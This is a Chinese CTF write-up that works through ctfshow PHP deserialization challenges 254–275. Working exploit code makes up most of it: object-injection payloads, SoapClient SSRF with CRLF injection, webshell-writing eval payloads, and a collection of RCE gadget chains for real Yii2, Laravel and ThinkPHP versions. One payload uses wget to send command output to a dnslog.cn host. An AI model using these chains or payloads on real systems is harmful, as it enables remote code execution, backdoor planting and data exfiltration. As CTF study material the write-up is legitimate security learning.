hacker web ctfshow_反序列化 CH0ico 2024-08-06 2024-08-11 web 254 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { if ($this ->username===$u &&$this ->password===$p ){ $this ->isVip=true ; } return $this ->isVip; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; echo "your flag is " .$flag ; }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = new ctfShowUser (); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()){ $user ->vipOneKeyGetFlag (); } }else { echo "no vip,no flag" ; } }
代码审计一下 条件是 实例化对象的账号密码是 xxxxxx / xxxxxx
web 255 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; echo "your flag is " .$flag ; }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()){ $user ->vipOneKeyGetFlag (); } }else { echo "no vip,no flag" ; } }
触发位置 Cookie 通过反序列化给$isVip=true 同时这里 username 和 password 还是可以 get 传参
1 $user = unserialize ($_COOKIE ['user' ]);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class ctfShowUser { public $isVip =false ; } $a = new ctfShowUser ();$a ->isVip = true ;echo serialize ($a );
payload ( 传参修改的是默认账号密码 Cookie 是实例化对象 这里不另外赋值就是默认的账号密码)
1 2 3 GET: ?username=xxxxxx&password=xxxxxx COOKIE: user=O:11 :"ctfShowUser" :1 :{s:5 :"isVip" %3 Bb:1 %3 B}
web 256 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; if ($this ->username!==$this ->password){ echo "your flag is " .$flag ; } }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()){ $user ->vipOneKeyGetFlag (); } }else { echo "no vip,no flag" ; } }
实例化对象需要满足 $this->username!==$this->password
1 2 3 4 ?username=choco&password=xxxxxx user=%4 f%3 a%31 %31 %3 a......%3 b%7 d
web 257 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php class ctfShowUser { private $username ='xxxxxx' ; private $password ='xxxxxx' ; private $isVip =false ; private $class = 'info' ; public function __construct ( ) { $this ->class =new info (); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class ->getInfo (); } } class info { private $user ='xxxxxx' ; public function getInfo ( ) { return $this ->user; } } class backDoor { private $code ; public function getInfo ( ) { eval ($this ->code); } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); $user ->login ($username ,$password ); }
利用 ctfShowUser 析构函数触发 getInfo() 并且是 backDoor 的 getInfo( ) 这里其实构造函数也提示了
使得 class 指向 backDoor
payload 因为涉及到 private 属性 值会有前后两个特殊符号 需 url 编码输出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class ctfShowUser { private $username ='1' ; private $password ='2' ; private $isVip =false ; private $class ; public function __construct ( ) //析构函数用于给实例化的backDoor ->code 赋值 必不可少 { $this ->class =new backDoor (); } } class backDoor { private $code ="system('tac f*');" ; } $c =new ctfShowUser ();echo "user=" .urlencode (serialize ($c ));
web 258 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public $class = 'info' ; public function __construct ( ) { $this ->class =new info (); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class ->getInfo (); } } class info { public $user ='xxxxxx' ; public function getInfo ( ) { return $this ->user; } } class backDoor { public $code ; public function getInfo ( ) { eval ($this ->code); } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ if (!preg_match ('/[oc]:\d+:/i' , $_COOKIE ['user' ])){ $user = unserialize ($_COOKIE ['user' ]); } $user ->login ($username ,$password ); }
存在过滤 preg_match(‘/[oc]:\d+:/i’, $_COOKIE[‘user’]) 也就是不允许 O:数字 或者 c:数字 这里 O:11 开头是实例化对象必须的
在数字前面可以加 加号 + 然后账号密码无所谓
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =True; public $class ; public function __construct ( ) { $this ->class =new backDoor (); } } class backDoor { public $code ='eval($_POST[1]);' ; } $c =serialize (new ctfShowUser ());$b =str_replace (':11' ,':+11' ,$c ); $b =str_replace (':8' ,':+8' ,$b ); echo "user=" .urlencode ($b );
传参
GET: username 和 password 不要为空就行
POST 小马: 1=system(‘tac fl*‘);
COOKIE: O%3A%2B11……7D%7D
web 259 SoapClient 反序列化 SSRF
考点是利用 SoapClient 类反序列化 + CRLF 实现 SSRF,构造请求访问 flag.php 得到 flag 反序列化后的 SoapClient 对象在调用不存在的方法时会调用 __call,在 user_agent 中插入 CRLF 也就是 \r\n 控制 header 和 body 构造想要的请求
index.php 和 flag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );$vip = unserialize ($_GET ['vip' ]);$vip ->getFlag ();$xff = explode (',' , $_SERVER ['HTTP_X_FORWARDED_FOR' ]); array_pop ($xff ); $ip = array_pop ($xff );if ($ip !=='127.0.0.1' ){ die ('error' ); }else { $token = $_POST ['token' ]; if ($token =='ctfshow' ){ file_put_contents ('flag.txt' ,$flag ); } }
考察了 soap 类反序列化 我是 php7.3.4 直接去 phpstudy 改配置文件 extension=soap
对于 array_pop 每次会返回最后一个元素并删除 因此
1 2 3 X-Forwarded-For:x ——> 返回:x ——>X-Forwarded-For:空 X-Forwarded-For:x,y ——> 返回:y ——>X-Forwarded-For:x X-Forwarded-For:x,y,z ——> 返回:z ——>X-Forwarded-For:y
如果想要 $ip = 127.0.0.1 则 X-Forwarded-For: 127.0.0.1,127.0.0.1
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $target = "http://127.0.0.1/flag.php" ;$post = "token=ctfshow" ;$a = new SoapClient (null , array ( "location" => $target , "user_agent" => "aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " .(string )strlen ($post )."\r\n\r\n" .$post , "uri" => "aaaa" )); var_dump (urlencode (serialize ($a )));
web 260 1 2 3 4 5 6 <?php include ('flag.php' );if (preg_match ('/ctfshow_i_love_36D/' ,serialize ($_GET ['ctfshow' ]))){ echo $flag ; }
/?ctfshow=ctfshow_i_love_36D
web 261 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php highlight_file (__FILE__ );class ctfshowvip { public $username ; public $password ; public $code ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function __wakeup ( ) { if ($this ->username!='' || $this ->password!='' ){ die ('error' ); } } public function __invoke ( ) { eval ($this ->code); } public function __sleep ( ) { $this ->username='' ; $this ->password='' ; } public function __unserialize ($data ) { $this ->username=$data ['username' ]; $this ->password=$data ['password' ]; $this ->code = $this ->username.$this ->password; } public function __destruct ( ) { if ($this ->code==0x36d ) { file_put_contents ($this ->username, $this ->password); } } } unserialize ($_GET ['vip' ]);
这里参考 php 官方文档 给出的性质
如果类中同时定义了 **unserialize() 和 **wakeup() 两个魔术方法,则只有 unserialize() 方法会生效, wakeup() 方法会被忽略。
此特性自 PHP 7.4.0 起可用。
响应标头中 X-Powered-By: PHP/7.4.16 因此只有 unserialize() 方法会生效, wakeup() 方法会被忽略
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class ctfshowvip { public $username = "877.php" ; public $password = "<?php @eval(\$_POST[2]);" ; } $a = new ctfshowvip ();echo urlencode (serialize ($a ));
web 262 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } $f = $_GET ['f' ];$m = $_GET ['m' ];$t = $_GET ['t' ];if (isset ($f ) && isset ($m ) && isset ($t )){ $msg = new message ($f ,$m ,$t ); $umsg = str_replace ('fuck' , 'loveU' , serialize ($msg )); setcookie ('msg' ,base64_encode ($umsg )); echo 'Your message has been sent' ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php include ('flag.php' );class message {... } if (isset ($_COOKIE ['msg' ])){ $msg = unserialize (base64_decode ($_COOKIE ['msg' ])); if ($msg ->token=='admin' ){ echo $flag ; } }
这里跟 web259 一样 尝试两种做法
( 1 ) cookie 构造 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class message { public $from = 1 ; public $msg = 1 ; public $to = 1 ; public $token ='admin' ; } $a = new message ();echo base64_encode (serialize ($a ));
( 2 ) 字符逃逸
逃逸目标 : O:7:”message”:1:{s:5:”token”;s:5:”admin”;} 中 {s:5:”token”;s:5:”admin”;}
加上闭合, 即为 ";``s:5:"token";s:5:"admin";``}
共 27 位 一共 27 个 fuck
传参 /?f=1&m=1&t=fuck......fuck";s:5:"token";s:5:"admin";}
web 263 进去是个登录页面
下载源码 www.zip
源码内容非常多 ( 总共得用 40kb? 这里没法全部放放入 只挑选一些有用的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php $_SESSION ['limit' ]=base64_decode ($_COOKIE ['limit' ]);ini_set ('session.serialize_handler' , 'php' );class User { public $username ; public $password ; public $status ; function __construct ($username , $password ) { $this ->username = $username ; $this ->password = $password ; } function setStatus ($s ) { $this ->status = $s ; } function __destruct ( ) { file_put_contents ("log-" . $this ->username, "使用" . $this ->password ... ); } }
在 php 5.5.4
以前默认选择的是 php
,5.5.4
之后就是 php_serialize
,这里的 php
版本为 7.3.11
,那么默认就是 php_serialize
在 index.php 通过 cookie 写入 SESSION
SESSION 在 inc.php 中 自动反序列化 并执行 user 类的 file_put_contents( choco.php , cmd ) 方法
根据读 SESSION 是 php 处理器, 构造 payload: choco | user
1 2 3 4 5 6 7 8 9 10 <?php class User { public $username ="admin/../../../../../../../../../../var/www/html/choco.php" ; public $password ="<?php system('cat flag.php');?>" ; public $status ; } $a = new User ();$c = "choco|" .serialize ($a );echo urlencode (base64_encode ($c ));
按照 php_serialize 写入的 SESSION
1 2 3 4 5 6 7 8 choco|O:4 :"User" :3 :{s:8 :"username" .....;N;} a:1 :{s:5 :"limit" ;s:156 :"|O:4:" User":3:{s:8:" username"......;N;} // 用php处理器 执行反序列化的 |O:4:" User":3:{s:8:" username"......;N;}
默认页面写 session 在 inc.php 触发( 这里借助 访问 check.php include 了 inc.php 触发) choco.php 读 flag
web 264 跟 web262 差不多 但是加上了 session 限制
index.php: /?f=a&m=a&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck”;s:5:”token”;s:5:”admin”;}
message.php cookie 不为空 访问得到 flag
web 265 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php include ('flag.php' );class ctfshowAdmin { public $token ; public $password ; public function __construct ($t ,$p ) { $this ->token=$t ; $this ->password = $p ; } public function login ( ) { return $this ->token===$this ->password; } } $ctfshow = unserialize ($_GET ['ctfshow' ]);$ctfshow ->token=md5 (mt_rand ());if ($ctfshow ->login ()){ echo $flag ; }
$this->token===$this->password; 引用绕过即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class ctfshowAdmin { public $token ; public $password ; public function __construct ( )//这里构造函数里面不要放参数了 { $this ->token=&$this ->password; } } $choco = new ctfshowAdmin;echo urlencode (serialize ( $choco ));
get 传参去反序列化就行
web 266 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php include ('flag.php' );$cs = file_get_contents ('php://input' );class ctfshow { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function login ( ) { return $this ->username===$this ->password; } public function __toString ( ) { return $this ->username; } public function __destruct ( ) { global $flag ; echo $flag ; } } $ctfshowo =@unserialize ($cs );if (preg_match ('/ctfshow/' , $cs )){ throw new Exception ("Error $ctfshowo " ,1 ); }
PHP 大小写:函数名和类名不区分,变量名区分 区分大小写的: 变量名、常量名、数组索引(键名 key) 不区分大小写的:函数名、方法名、类名、魔术常量、NULL、FALSE、TRUE
因此这里 利用大小写绕过报错 从而顺利析构 输出 flag
1 2 3 4 5 6 7 8 9 <?php class ctfshow { public $username ='xxxxxx' ; public $password ='xxxxxx' ; } $c = new ctfshow ();$a = str_replace ("ctfshow" , "CTFshow" , serialize ($c ));var_dump ($a );
php://input
要用 bp ( get 传参 直接在 body 里面加上序列化内容即可 )
web 267 框架漏洞 这里基础学习框架漏洞的POC链构造 之后有空再推进度
web 266 Yii 框架 方法一 反序列化入口
login admin/admin
在 about 中1 2 3 4 5 6 7 8 9 10 // .../index.php?r=site%2Fabout <div class ="site-about" > <h1 > Page</h1 > <p > </p > </div >
跟进 .../index.php?r=site%2Fabout&view-source
1 2 unserialize (base64_decode ($_GET ['code' ]))`
试着访问 /index.php?r=backdoor/shell
, 提示Missing required parameters: code
于是有了反序列化入口但是不知道具体结构
框架分析
wapplayzer 分析得到是 Yii 框架 + php 7.3.11
搜集 Yii 框架漏洞
Yii2 反序列化漏洞(CVE-2020-15148)复现_yii2 漏洞-CSDN博客
yii反序列化漏洞复现及利用_yii漏洞-CSDN博客
poc 链条构造:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php namespace yii \rest { class CreateAction { public $checkAccess ; public $id ; public function __construct ( ) { $this ->checkAccess = 'whoami' ; $this ->id = '1' ; } } } namespace Faker { use yii \rest \CreateAction ; class Generator { protected $formatters ; public function __construct ( ) { $this ->formatters['close' ] = [new CreateAction (), 'run' ]; } } } namespace yii \db { use Faker \Generator ; class BatchQueryResult { private $_dataReader ; public function __construct ( ) { $this ->_dataReader = new Generator ; } } } namespace { echo base64_encode (serialize (new yii \db \BatchQueryResult )); } ?>
得到 base64 的序列化 payload TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
payload1 /index.php?r=/backdoor/shell&code=[paylaod]
成功读出 phpinfo
payload 修改__construct()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php namespace yii \rest { class CreateAction { public $checkAccess ; public $id ; public function __construct ( ) { $this ->checkAccess = 'passthru' ; $this ->id = 'tac /flag' ; } } } namespace Faker { use yii \rest \CreateAction ; class Generator { protected $formatters ; public function __construct ( ) { $this ->formatters['close' ] = [new CreateAction (), 'run' ]; } } } namespace yii \db { use Faker \Generator ; class BatchQueryResult { private $_dataReader ; public function __construct ( ) { $this ->_dataReader = new Generator ; } } } namespace { echo base64_encode (serialize (new yii \db \BatchQueryResult )); } ?>
1 /index.php?r=backdoor/shell&code=[payload]
方法二 通过反序列化生成木马页面
找到文件路径 (用 DNS 外带出来) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php namespace yii \rest { class CreateAction { public $checkAccess ; public $id ; public function __construct ( ) { $this ->checkAccess = 'shell_exec' ; $this ->id = "wget `pwd|base64` ????.dnslog.cn" ; } } } namespace Faker { use yii \rest \CreateAction ; class Generator { protected $formatters ; public function __construct ( ) { $this ->formatters['close' ] = [new CreateAction (), 'run' ]; } } } namespace yii \db { use Faker \Generator ; class BatchQueryResult { private $_dataReader ; public function __construct ( ) { $this ->_dataReader = new Generator ; } } } namespace { echo base64_encode (serialize (new yii \db \BatchQueryResult )); } ?>
写入木马 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php namespace yii \rest { class CreateAction { public $checkAccess ; public $id ; public function __construct ( ) { $this ->checkAccess = 'shell_exec' ; $this ->id = "<?php echo 'eval(\$POST[a]);phpinfo();?>' > var/html/www/basic/web/coco.php" ; } } } namespace Faker { use yii \rest \CreateAction ; class Generator { protected $formatters ; public function __construct ( ) { $this ->formatters['close' ] = [new CreateAction (), 'run' ]; } } } namespace yii \db { use Faker \Generator ; class BatchQueryResult { private $_dataReader ; public function __construct ( ) { $this ->_dataReader = new Generator ; } } } namespace { echo base64_encode (serialize (new yii \db \BatchQueryResult )); } ?>
web 268 Yii 框架 入口及其框架于 257 一样, 但是原来的链子打不出回显 只能换个链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php namespace yii \rest { class Action { public $checkAccess ; } class IndexAction { public function __construct ($func , $param ) { $this ->checkAccess = $func ; $this ->id = $param ; } } } namespace yii \web { abstract class MultiFieldSession { public $writeCallback ; } class DbSession extends MultiFieldSession { public function __construct ($func , $param ) { $this ->writeCallback = [new \yii\rest\IndexAction ($func , $param ), "run" ]; } } } namespace yii \db { use yii \base \BaseObject ; class BatchQueryResult { private $_dataReader ; public function __construct ($func , $param ) { $this ->_dataReader = new \yii\web\DbSession ($func , $param ); } } } namespace { $exp = new \yii \db \BatchQueryResult ('shell_exec ', 'echo "<?php eval (\$_POST [1]);phpinfo ();?> " >/var/www/html/basic/web/1.php'); echo(base64_encode(serialize($exp ))); } ?>
web 269 270 同上 Yii 链子汇总 POC 1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php namespace yii \rest { class IndexAction { public $checkAccess ; public $id ; public function __construct ( ) { $this ->checkAccess = 'phpinfo' ; $this ->id = '1' ; } } } namespace Faker { use yii \rest \IndexAction ; class Generator { protected $formatters ; public function __construct ( ) { $this ->formatters['close' ] = [new IndexAction (), 'run' ]; } } } namespace yii \db { use Faker \Generator ; class BatchQueryResult { private $_dataReader ; public function __construct ( ) { $this ->_dataReader=new Generator (); } } } namespace { use yii \db \BatchQueryResult ; echo base64_encode (serialize (new BatchQueryResult ())); }
POC 2 yii 2.2.37
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php namespace yii \rest { class IndexAction { public $checkAccess ; public $id ; public function __construct ( ) { $this ->checkAccess = 'system' ; $this ->id = 'whoami' ; } } } namespace yii \db { use yii \web \DbSession ; class BatchQueryResult { private $_dataReader ; public function __construct ( ) { $this ->_dataReader=new DbSession (); } } } namespace yii \web { use yii \rest \IndexAction ; class DbSession { public $writeCallback ; public function __construct ( ) { $a =new IndexAction (); $this ->writeCallback=[$a ,'run' ]; } } } namespace { use yii \db \BatchQueryResult ; echo base64_encode (serialize (new BatchQueryResult ())); }
POC 3 yii 2.0.38
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php namespace yii \rest { class CreateAction { public $checkAccess ; public $id ; public function __construct ( ) { $this ->checkAccess = 'system' ; $this ->id = 'ls' ; } } } namespace Faker { use yii \rest \CreateAction ; class Generator { protected $formatters ; public function __construct ( ) { $this ->formatters['isRunning' ] = [new CreateAction (), 'run' ]; } } } namespace Codeception \Extension { use Faker \Generator ; class RunProcess { private $processes ; public function __construct ( ) { $this ->processes = [new Generator ()]; } } } namespace { // 生成poc echo base64_encode (serialize (new Codeception \Extension \RunProcess ())); } ?>
POC 4 yii 2.0.38
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php namespace yii \rest { class CreateAction { public $checkAccess ; public $id ; public function __construct ( ) { $this ->checkAccess = 'system' ; $this ->id = 'dir' ; } } } namespace Faker { use yii \rest \CreateAction ; class Generator { protected $formatters ; public function __construct ( ) { $this ->formatters['render' ] = [new CreateAction (), 'run' ]; } } } namespace phpDocumentor \Reflection \DocBlock \Tags { use Faker \Generator ; class See { protected $description ; public function __construct ( ) { $this ->description = new Generator (); } } } namespace { use phpDocumentor \Reflection \DocBlock \Tags \See ; class Swift_KeyCache_DiskKeyCache { private $keys = []; private $path ; public function __construct ( ) { $this ->path = new See ; $this ->keys = array ( "axin" =>array ("is" =>"handsome" ) ); } } echo base64_encode (serialize (new Swift_KeyCache_DiskKeyCache ())); } ?>
POC 5 yii 2.0.42
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php namespace Faker ;class DefaultGenerator { protected $default ; function __construct ($argv ) { $this ->default = $argv ; } } class ValidGenerator { protected $generator ; protected $validator ; protected $maxRetries ; function __construct ($command ,$argv ) { $this ->generator = new DefaultGenerator ($argv ); $this ->validator = $command ; $this ->maxRetries = 99999999 ; } } namespace Codeception \Extension ;use Faker \ValidGenerator ;class RunProcess { private $processes = []; function __construct ($command ,$argv ) { $this ->processes[] = new ValidGenerator ($command ,$argv ); } } $exp = new RunProcess ('system' ,'whoami' );echo (base64_encode (serialize ($exp )));
POC 6 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <?php namespace yii \rest { class IndexAction { function __construct () { $this ->checkAccess = 'system '; $this ->id = 'whoami' ; } } } namespace Symfony \Component \String { use yii \rest \IndexAction ; class LazyString { function __construct ( ) { $this ->value = [new indexAction (), "run" ]; } } class UnicodeString { function __construct ( ) { $this ->value = new LazyString (); } } } namespace Faker { use Symfony \Component \String \LazyString ; class DefaultGenerator { function __construct ( ) { $this ->default = new LazyString (); } } class UniqueGenerator { function __construct ( ) { $this ->generator = new DefaultGenerator (); $this ->maxRetries = 99999999 ; } } } namespace Codeception \Extension { use Faker \UniqueGenerator ; class RunProcess { function __construct ( ) { $this ->processes[] = new UniqueGenerator (); } } } namespace { use Codeception \Extension \RunProcess ; $exp = new RunProcess (); echo (base64_encode (serialize ($exp ))); }
web 271 Laravel5.7 开始搬运( )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php namespace Illuminate \Foundation \Testing { class PendingCommand { public $test ; protected $app ; protected $command ; protected $parameters ; public function __construct ($test , $app , $command , $parameters ) { $this ->test = $test ; $this ->app = $app ; $this ->command = $command ; $this ->parameters = $parameters ; } } } namespace Faker { class DefaultGenerator { protected $default ; public function __construct ($default = null ) { $this ->default = $default ; } } } namespace Illuminate \Foundation { class Application { protected $instances = []; public function __construct ($instances = [] ) { $this ->instances['Illuminate\Contracts\Console\Kernel' ] = $instances ; } } } namespace { $defaultgenerator = new Faker \DefaultGenerator (array ("hello " => "world ")); $app = new Illuminate\Foundation\Application (); $application = new Illuminate\Foundation\Application ($app ); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand ($defaultgenerator , $application , 'system' , array ('cp /f* 1.txt' )); echo urlencode (serialize ($pendingcommand )); }
post data 传入, 读取 1.txt
web272、273——Laravel5.8 (flag 读取 phpinfo 得到) POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 <?php namespace Illuminate \Broadcasting { use Illuminate \Bus \Dispatcher ; use Illuminate \Foundation \Console \QueuedCommand ; class PendingBroadcast { protected $events ; protected $event ; public function __construct ( ) { $this ->events=new Dispatcher (); $this ->event=new QueuedCommand (); } } } namespace Illuminate \Foundation \Console { use Mockery \Generator \MockDefinition ; class QueuedCommand { public $connection ; public function __construct ( ) { $this ->connection=new MockDefinition (); } } } namespace Illuminate \Bus { use Mockery \Loader \EvalLoader ; class Dispatcher { protected $queueResolver ; public function __construct ( ) { $this ->queueResolver=[new EvalLoader (),'load' ]; } } } namespace Mockery \Loader { class EvalLoader { } } namespace Mockery \Generator { class MockDefinition { protected $config ; protected $code ; public function __construct ( ) { $this ->code="<?php phpinfo();exit()?>" ; $this ->config=new MockConfiguration (); } } class MockConfiguration { protected $name ="feng" ; } } namespace { use Illuminate \Broadcasting \PendingBroadcast ; echo urlencode (serialize (new PendingBroadcast ())); }
web 274 TP5.1 POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php namespace think ;abstract class Model { protected $append = []; private $data = []; function __construct ( ) { $this ->append = ["choco" =>["calc.exe" ,"calc" ]]; $this ->data = ["choco" =>new Request ()]; } } class Request { protected $hook = []; protected $filter = "system" ; protected $config = [ 'var_ajax' => '_ajax' , ]; function __construct ( ) { $this ->filter = "system" ; $this ->config = ["var_ajax" =>'lin' ]; $this ->hook = ["visible" =>[$this ,"isAjax" ]]; } } namespace think \process \pipes ;use think \model \concern \Conversion ;use think \model \Pivot ;class Windows { private $files = []; public function __construct ( ) { $this ->files=[new Pivot ()]; } } namespace think \model ;use think \Model ;class Pivot extends Model {} use think \process \pipes \Windows ;echo base64_encode (serialize (new Windows ()));?>
1 .../?lin=cat /flag&data=[payload]
web 275 题目 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php highlight_file (__FILE__ );class filter { public $filename ; public $filecontent ; public $evilfile =false ; public function __construct ($f ,$fn ) { $this ->filename=$f ; $this ->filecontent=$fn ; } public function checkevil ( ) { if (preg_match ('/php|\.\./i' , $this ->filename)){ $this ->evilfile=true ; } if (preg_match ('/flag/i' , $this ->filecontent)){ $this ->evilfile=true ; } return $this ->evilfile; } public function __destruct ( ) { if ($this ->evilfile){ system ('rm ' .$this ->filename); } } } if (isset ($_GET ['fn' ])){ $content = file_get_contents ('php://input' ); $f = new filter ($_GET ['fn' ],$content ); if ($f ->checkevil ()===false ){ file_put_contents ($_GET ['fn' ], $content ); copy ($_GET ['fn' ],md5 (mt_rand ()).'.txt' ); unlink ($_SERVER ['DOCUMENT_ROOT' ].'/' .$_GET ['fn' ]); echo 'work done' ; } }else { echo 'where is flag?' ; }
RCE payload
1 2 3 ?fn=php%3bcat flag.php // php;cat flag.php
